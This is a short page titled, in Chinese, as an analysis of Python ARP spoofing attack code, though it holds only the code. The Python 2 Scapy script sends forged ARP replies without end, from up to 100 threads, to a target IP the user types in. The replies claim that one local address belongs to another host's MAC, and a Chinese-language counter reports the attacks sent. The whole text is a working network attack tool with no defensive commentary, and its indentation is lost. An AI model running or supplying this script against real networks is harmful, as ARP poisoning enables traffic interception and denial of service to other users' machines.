python发送arp欺骗攻击代码分析

# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip

def run(self):
global BROADCASTMAC
arp = ARP()
arp.psrc = '192.168.0.251'
arp.hwsrc = BROADCASTMAC
arp.pdst = self.ip
arp.op = 2
sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
def __init__(self,ip):
Thread.__init__(self)
self.ip = ip

def run(self):
limit = 100
total = 0
while True:
if activeCount() < limit:
Loop(self.ip).start()
total = total + 1
print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':
ip = raw_input('请输入要进行ARP攻击的机器IP:')

Main(ip = ip).start()